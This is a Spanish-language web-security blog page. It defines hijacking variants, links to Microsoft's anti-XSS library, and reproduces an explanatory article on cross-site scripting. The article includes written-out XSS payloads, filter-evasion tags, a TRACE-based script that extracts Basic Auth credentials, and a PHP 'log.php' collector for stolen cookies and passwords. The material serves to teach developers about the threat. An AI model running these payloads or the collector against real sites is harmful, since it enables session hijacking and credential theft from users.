Archivos de la categoría ‘Seguridad Web’

Leyendo un artículo sobre ajax, me encontre con una palabra que nunca había escuchado “Hijacking” , entonces me dió muchisima curiosidad de saber que significaba. Lo único que se me paso por la mente fue “Hacking” o talvez algo relacionado al robo de información.

Pero para salir de la duda busque en la grandiosa Wikipedia, y encontre lo siguiente:

Hijacking significa “Secuestro” en inglés y en el ámbito informático hace referencia a toda técnica ilegal que lleve consigo el adueñamiento o robo de algo (generalmente información) por parte de un atacante, es por tanto un concepto muy abierto y que puede aplicarse a varios ámbitos, de esta manera podemos encontramos con el adueñamiento o secuestro de conexiones de red, sesiones de terminal, servicios, modems y un largo etc. en cuanto a servicios informáticos se refiere.

Algunos ejemplos de Hijacking

  • IP hijacking: Secuestro de una conexión TCP/IP por ejemplo durante una sesión Telnet permitiendo a un atacante inyectar comandos o realizar un DoS durante dicha sesión.
  • Page hijacking: Secuestro de página web. Hace referencia a las modificaciones que un atacante realiza sobre una página web, normalmente haciendo uso de algun bug de seguridad del servidor o de programación del sitio web, también es conocido como defacement o desfiguración.
  • Reverse domain hijacking o Domain hijacking: Secuestro de dominio
  • Session hijacking: Secuestro de sesión
  • Browser hijacking: Secuestro del navegador. Se llama así al efecto de apropiación que realizan algunos spyware sobre el navegador web lanzando popups, modificando la página de inicio, modificando la página de búsqueda predeterminada etc.
  • Modem hijacking: Secuestro del Modem. Esta expresión es en ocasiones utilizada para referirse a la estafa de los famosos dialers que tanta guerra dieron en su día (antes del auge del ADSL) y que configuran sin el consentimiento del usuario nuevas conexiones a números de cobro extraordinario.
  • Thread hijacking: Secuestro de un “tema” dentro de un foro de discusión de internet. Este termino hace referencia a la situación que ocurre cuando dentro de un tema de discusión en un foro alguien intenta dirigir el hilo de la conversación hacia asuntos que no tienen nada que ver con el tema inicial. Esto puede realizarse de manera intencionada para irritar al autor del tema o bien producirse de manera natural y no intencionada generalmente por usuarios sin mucho conocimiento en el asunto a tratar o que desconocen la dinámica de comportamiento de los foros.

Navegando encontre esta información de suma importancia para cualquier desarrollador web,aunque creo que este update para el Visual Studio 2005 ya salio hace tiempo,espero que les sirva aqui les dejo el link para que le den una mirada:

Microsoft Anti-Cross Site Scripting Library V1.5 : http://www.microsoft.com/downloads/details.aspx?FamilyID=EFB9C819-53FF-4F82-BFAF-E11625130C25&displaylang=en

algunos diran ¿ XSS!!??, así que calma…. si no saben que es el Cross Site Scripting lean esto ¿Que es XSS?

Saludos.

Navegando encontre una nueva palabra “XSS” que al principio no tenía ni idea de lo que significaba, pero leyendo algunos artículos sobre el tema, me di cuenta que es muy importante que todos los desarrolladores Web sepamos de que se trata, por eso les dejo este artículo extraido de la WIKIPEDIA.
Introduccion
XSS es un ataque basado en la explotación de vulnerabilidades del sistema de validación de HTML incrustado. Su nombre, del inglés “Cross Site Scripting”, y renombrado XSS para que no sea confundido con las hojas de estilo en cascada (CSS), originalmente abarcaba cualquier ataque que permitiera ejecutar código de “scripting”, como VBScript o javascript, en el contexto de otro dominio. Recientemente se acostumbra a llamar a los ataques de XSS “HTML Injection”, sin embargo el término correcto es XSS. Estos errores se pueden encontrar en cualquier aplicación HTML, no se limita a sitios web, ya que puede haber aplicaciones locales vulnerables a XSS, o incluso el navegador en sí. El problema está en que normalmente no se validan correctamente los datos de entrada que son usados en cierta aplicación. Esta vulnerabilidad puede estar presente de forma directa (foros, mensajes de error, comentarios) o indirecta (redirecciones, framesets). Cada una se trata de forma diferente.

  • Directa: Este tipo de XSS es el que normalmente es censurado; así que es muy poco común que puedas usar tags como <script> o <iframe>
  • Indirecta: Esta es un tipo de vulnerabilidad, muy común y muy poco explotada. Consiste en modificar valores que la aplicación web utiliza para pasar variables entre dos páginas, sin usar sesiones.

Indirecta
Sucede cuando hay un mensaje o una ruta en la URL del navegador o en una cookie. Para saber el contenido de una cookie, sin usar ningún tipo de iecv o addin para tu navegador, puedes usar el siguiente script de jasildbg. Sólo colócalo en la barra de direcciones, y presiona Enter.
javascript:for(var g in document.cookie.split(‘;’))void(prompt(“Valor de cookie “+document.cookie.split(‘;’)[g].split(‘=’)[0],document.cookie.split(‘;’)[g].split(‘=’)[1]));alert
(“Cookies:\n”+document.cookie.replace(/;/,”\r\n”));

Una vez dentro se puede modificar la cookie a tu antojo. Si pones cancelar la cookie se borrará.

¿Qué podemos ver con este ejemplo? Que podemos meter comandos javascript solo modificando una URL.
Usando FrameSets
Regresemos al ejemplo del frameset, que según la página que coloques te crea un frame a esa página. ¿Qué pasara si pones en esa URL?
javascript:while(1)alert(“Te estoy inundando de mensajes!”);
Y el enlace lo pone un intruso hacia un foro. Un navegador incauto, va a verlo y dirá, bueno, es del mismo dominio, no puede ser nada malo.. y de resultado tendrá un loop infinito.

Hasta ahí llegan los newbies. Pero vamos a ponernos en la piel de un experto. Se trata de colocar un script que tome tu cookie, y mande un mp al administrador, o incluso, que borre todos los mensajes de un foro.

El robo de cookies es lo más básico, y tiene como objetivo robar la cookie. ¿Y eso de qué sirve? Tengo el PHPSESSID, y si el usuario cierra sesión no sirve de nada.

Cierto, pero con el uso de la librería cURL un usuario malintencionado, podría al recibir tu cookie, entrar a la página, y dejarla en caché, para que el atacante cuando quiera, pueda entrar como tú, sin siquiera necesitar tu contraseña.

Otro uso común para estas vulnerabilidades es lograr hacer phishing; o colocar un exploit.

Quiere ello decir que tú ves la barra de direcciones, y ves que estás en una página, pero realmente estás en otra. Introduces tu contraseña y la fastidiaste.

Lo peor son los sitios de descarga, que colocan en la misma URL el sitio de objetivo. Esas páginas web son vulnerables a ataques XSS indirectos. O sea que un intruso puede colocar una imagen con enlace al sitio malicioso, y se ejecuta, sin que el usuario lo sepa.
Mensaje personalizado
La técnica sólo funciona con imágenes:
error.php?error=Usuario%20Invalido
Esa página es vulnerable a XSS indirecto.

Un <script> que cree otra sesión bajo otro usuario y tu sesión actual la mande al atacante (lo explicado de cURL más arriba), puede causar estragos.

Este código (muy peligroso) borra todo el contenido de la página en cuestión, y escribe otra cosa:
<script>
document.documentElement.innerHTML=”NADA”;
</script>
Directa
Funciona localizando puntos débiles en la programación de los filtros. Así que si, por ejemplo, logran quitar los <iframe>, <script>, el atacante siempre puede poner un <div> malicioso, o incluso un <u> o <s>. Tags que casi siempre están permitidos.
Ejemplos de Scripts donde no son comunes de encontrar
<BR SIZE=”&{alert(‘XSS’)}”>
<FK STYLE=”behavior: url(http://yoursite/xss.htc);”>
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
Usar estilos es increíblemente fácil, y lo malo es que muchos filtros son vulnerables. Se puede crear un DIV con background-image: url(javascript:eval(this.fu)) como estilo y añadir al DIV un campo llamado fu que contenga el código a ejecutar, como por ejemplo alert(‘Hola’):
<div fu=”alert(‘Hola’);” STYLE=”background-image: url(javascript:eval(this.fu))”>
Ajax
Éste es un tipo de XSS no tan conocido, pero peligroso. Se basa en usar cualquier tipo de vulnerabilidad para introducir un objeto XMLHTTP y usarlo para enviar contenido POST, GET, sin conocimiento del usuario.

El siguiente script de ejemplo obtiene el valor de las cabeceras de autenticación de un sistema basado en Autenticación Básica (Basic Auth). Sólo falta decodificarlo, pero es más fácil mandarlo codificado al registro de contraseñas. La codificación es base64.
Script para obtener credenciales en tipo BASIC
Esta tecnica también es llamada XST Cross Site Tracing XST
var xmlhttp=new ActiveXObject(“Microsoft.XMLHTTP”);

// para firefox, es: var xmlhttp = new XMLHttpRequest();

xmlhttp.open(“TRACE”,”./”,false);

xmlhttp.send(null);

str1=xmlhttp.responseText;

splitString = str1.split(“Authorization: Basic “);

str2=splitString[1];

str3=str2.match(/.*/)[0];

alert(str3);
Por cuestiones de seguridad.. Firefox y IExplorer 6.2+ no permiten usar el metodo TRACE.
log.php para registrar cookies
<?php

$archivo = fopen(‘log2.htm’,’a’);

$cookie = $_GET[‘c’];

$usuario = $_GET[‘id’];

$ip = getenv (‘REMOTE_ADDR’);

$re = $HTTPREFERRER;

$fecha=date(“j F, Y, g:i a”);

fwrite($archivo, ‘<hr>USUARIO Y PASSWORD: ‘.htmlentities(base64_decode($usuario)));
fwrite($archivo, ‘<br>Cookie: ‘.htmlentities($cookie).'<br>Pagina: ‘.htmlentities($re));
fwrite($archivo, ‘<br> IP: ‘ .$ip. ‘<br> Fecha y Hora: ‘ .$fecha. ‘</hr>’);

fclose($archivo);

?>